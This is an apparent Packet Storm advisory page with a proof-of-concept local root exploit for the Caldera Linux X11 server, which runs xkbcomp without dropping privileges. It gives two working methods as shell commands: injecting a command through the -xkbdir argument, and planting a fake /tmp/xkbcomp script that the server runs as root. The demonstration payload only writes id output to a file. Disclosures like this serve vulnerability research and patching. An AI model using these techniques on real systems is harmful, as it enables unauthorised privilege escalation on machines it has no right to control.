Proof of concept local exploit for the Caldera Linux X11 server. The Xserver calls xkbcomp in an insecure manner while not dropping privileges.
63e311dfa1eaf7b6836e69f9c5ed6134e5e229baf79f58c276d954ff32d2d618The following proof of concepts were provided by Pavel Kankovsky:
$ Xserver -xkbdir 'id > /tmp/I_WAS_HERE;'
[exit X server]
$ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'
$ cat > /tmp/xkbcomp
#!/bin/sh
id > /tmp/I_WAS_HERE
[ctrl+d]
$ chmod a+x /tmp/xkbcomp
$ Xserver -xkbdir /tmp
[X server executes /tmp/xkbcomp]
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed